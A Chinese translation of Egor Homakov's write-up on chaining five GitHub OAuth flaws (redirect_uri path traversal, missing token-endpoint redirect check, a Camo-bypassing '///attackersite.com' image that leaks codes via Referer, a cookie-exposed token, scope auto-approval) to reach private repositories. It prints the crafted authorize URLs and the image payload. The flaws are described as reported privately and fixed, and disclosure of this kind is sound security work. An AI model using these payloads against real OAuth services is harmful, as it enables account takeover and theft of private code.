Egor Homakov：我是如何再次黑掉 GitHub
// 編注：為什么標題是“再次”？2013年，GitHub Page服務啟用新域名（從 page.github.com 換到 github.io）之前有被跨域攻擊的危險。Egor Homakov 寫了一篇博文證實。
這篇文章是關于我將5個危險性不高的漏洞組合起來，構造一個簡單卻高危漏洞的故事。利用這個漏洞，我可以進入github上的用戶私有代碼倉庫。這些漏洞都已經私下報告并及時修復了。
下面是我的郵件時間線：
幾天前，GitHub正式推出了一個賞金計劃，這個計劃對我來說是研究GitHub OAuth問題的絕佳動力。
漏洞1. 利用/../繞過redirect_uri 驗證
我最先發現的是：
如果提供了的話，重定向URL的主機和端口必須嚴格匹配回調URL。重定向URL的路徑只能引用回調URL的一個子目錄。
然后，我嘗試用/../進行路徑遍歷，我成功了。
漏洞2. 在獲得令牌的終端缺少重定向URI驗證
僅有第一個漏洞沒有什么價值。在OAuth2協議中有保護機制防止‘泄露的’重定向URI，每個code參數都簽發給對應的‘redirect_uri’。要獲得訪問令牌必須提供你在認證流程中使用的準確的redirect_uri。
redirect_uristring你的app中用戶認證后返回給用戶的URL。查看更多細節點擊 redirect_urls.
不幸的是，我決定研究一下這個保護機制有沒有被正確實現。
它確實是有缺陷：不管客戶端發送什么重定向uri來獲得令牌，提供商都會回復一個有效的訪問令牌。
要是沒有第一個漏洞，第二個漏洞也會要毫無價值。但是，它們卻組合成一個很強大的漏洞——攻擊者可以劫持一個簽發給泄露的重定向uri的授權令牌，然后把這個泄露的令牌用在真正的客戶端回調URl上，從而登陸受害者的賬戶。順便說下，這和我在VK.com發現的漏洞一樣。
這是一個嚴重的問題，而且可以用來危害所有依賴“用GitHub登陸”功能的網站。我打開了應用頁面來查看哪些網站應該檢查一下。這個部分引起了我的注意：
Gist、Education、Pages和Speakerdeck（注：前三個是Github的頻道站，后面是旗下站點）都是官方預先認可的OAuth客戶端。我沒有找到Pages和Education的client_id，Speakerdeck又超出了獎金范圍（我在那里發現了賬戶劫持，并獲得了$100）。那么，我們還是在Gist上尋找重定向泄露的頁面吧。
漏洞3. 在gist中注入跨站圖片
基本上，泄露的Referers有兩個向量：用戶點擊一個鏈接（需要交互）或用戶代理載入一些跨站資源，比如
我不能簡單的注入（img src=http://attackersite.com），因為這會替換成camo-proxy URL，這樣就不能把Referer頭傳遞到攻擊者的主機。為了能夠繞過Camo-s 過濾器，我用了一個小技巧：<img src=”///attackersite.com”>
你可以在開放重定向漏洞進展這篇文章中看到更多細節
///host.com 被Ruby的URI庫解析成一個相對路徑URL，卻被Chrome和Firefox視為一個相對協議URL。下面是我們精心構造的URL：
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code
當用戶載入這個URL時，Github會自動302 重定向自己。對應地址：
https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE
但是用戶代理載入為：
https://gist.github.com/homakov/8820324?code=CODE
那么用戶代理會把發送請求的CODE泄露給我們的：
一旦我們獲得受害者的CODE，我們點擊 ：
https://gist.github.com/auth/github/callback?code=CODE
瞧，我們登陸進了受害者的賬號，然后我們可以進入私有的gists
漏洞4. Gist在cookies里暴露了github_token
我很想知道Gists是怎么把用戶會話和解碼的_gist_session存放在cookie（普通的Rails Base64編碼的cookie）里：
天啊，又一個OAuth的反面教材！客戶端絕不應該暴露真正的訪問令牌給用戶代理。現在我們可以用這個github_token代表受害者賬戶來執行API調用，并且不再需要Gist網站。我試著訪問私人代碼庫：
該死的，令牌的范圍顯然僅僅是Gists……
漏洞5. 對Gist客戶端的自動授權
我的漏洞利用的最后部分。由于Gist是一個預先授權的客戶端，我猜想Github也自動認證了Gist客戶端請求的其他范圍。我果然對了
我們現在要做的只是把構造的URL載入到受害者的瀏覽器：
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications
用戶代理泄漏了受害者的CODE，攻擊者使用泄漏的CODE登陸進受害者的Gist賬戶，解碼_gist_session來盜取github_token等等。
私人代碼庫，讀寫權限等等——都秘密失竊，因為所用github_token是屬于Gist客戶端的。完美的犯罪，不是嗎？
賞金
$4000的獎勵真是太豐厚了。有趣的是，對他們來說購買我4~5個小時$400的咨詢服務，只需要$1600，這會更便宜。重要的是也要有眾包安全。最好是兩者都用:)
原文鏈接： Egor Homakov 翻譯： 伯樂在線 - 50infivedays
譯文鏈接： http://blog.jobbole.com/61115/